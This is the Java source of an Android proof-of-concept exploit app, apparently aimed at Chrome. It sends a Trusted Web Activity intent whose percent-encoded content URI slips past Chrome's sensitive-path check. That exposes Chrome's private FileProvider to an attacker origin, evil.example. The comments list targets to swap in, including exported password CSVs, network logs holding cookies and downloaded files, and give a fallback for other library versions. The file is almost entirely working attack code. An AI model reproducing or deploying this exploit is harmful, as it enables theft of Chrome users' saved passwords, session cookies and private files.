// Malicious co-installed Android app — fires a TWA intent at Chrome with a
// percent-encoded content-URI authority that bypasses
// TwaLaunchQueueDelegate::IsSensitivePath.
//
// Package: com.evil.twa
// Prereq:  https://evil.example/.well-known/assetlinks.json grants this
//          package's signing cert "delegate_permission/common.handle_all_urls".
//
// Build against:
//   androidx.browser:browser:1.9.0-alpha02 (or any version exposing
//   FileHandlingData / EXTRA_FILE_HANDLING_DATA).

package com.evil.twa;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

import androidx.browser.customtabs.CustomTabsCallback;
import androidx.browser.customtabs.CustomTabsClient;
import androidx.browser.customtabs.CustomTabsServiceConnection;
import androidx.browser.customtabs.CustomTabsSession;
import androidx.browser.trusted.FileHandlingData;
import androidx.browser.trusted.TrustedWebActivityIntentBuilder;

import java.util.Collections;

public class MainActivity extends Activity {
    // Attacker-controlled origin whose assetlinks.json points back at this app.
    private static final Uri TWA_URL = Uri.parse("https://evil.example/app/");

    // The bypass: %2E in the authority. Raw-byte StartsWith() in
    // twa_launch_queue_delegate.cc:39 sees '%' where it expects '.', returns
    // false (not sensitive). Android ContentResolver later decodes
    // getAuthority() to "com.android.chrome.FileProvider" and opens Chrome's
    // own non-exported provider under Chrome's UID.
    //
    // Swap target as desired (see chrome/android/java/res_template/xml/file_paths.xml):
    //   /downloads/<file>   -> <external-storage>/Download/<file>
    //   /passwords/<file>   -> <cache>/passwords/<file>  (exported password CSVs)
    //   /cache/<file>       -> <cache>/net-export/<file> (netlog with cookies)
    //   /offline-cache/<f>  -> <cache>/Offline Pages/archives/<f>
    private static final Uri BYPASS_URI =
            Uri.parse("content://com.android.chrome%2EFileProvider/downloads/victim.pdf");

    private CustomTabsServiceConnection mConn;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mConn = new CustomTabsServiceConnection() {
            @Override
            public void onCustomTabsServiceConnected(ComponentName name,
                                                     CustomTabsClient client) {
                client.warmup(0);
                CustomTabsSession session = client.newSession(new CustomTabsCallback() {});
                launch(session);
            }
            @Override public void onServiceDisconnected(ComponentName name) {}
        };
        CustomTabsClient.bindCustomTabsService(this, "com.android.chrome", mConn);
    }

    private void launch(CustomTabsSession session) {
        // Uri.parse() yields a StringUri. StringUri.toString() returns the input
        // verbatim, so %2E survives the FileHandlingData parcel round-trip and
        // WebAppLaunchParams.getFileUrisArray() (uri.toString()).
        FileHandlingData fhd =
                new FileHandlingData(Collections.singletonList(BYPASS_URI));

        Intent intent = new TrustedWebActivityIntentBuilder(TWA_URL)
                .setFileHandlingData(fhd)
                .build(session)
                .getIntent();

        // If your androidx.browser version lacks setFileHandlingData(), attach
        // the bundle manually instead:
        //   intent.putExtra(
        //       "androidx.browser.trusted.extra.FILE_HANDLING_DATA",
        //       fhd.toBundle());

        intent.setPackage("com.android.chrome");
        startActivity(intent);
    }

    @Override
    protected void onDestroy() {
        if (mConn != null) unbindService(mConn);
        super.onDestroy();
    }
}
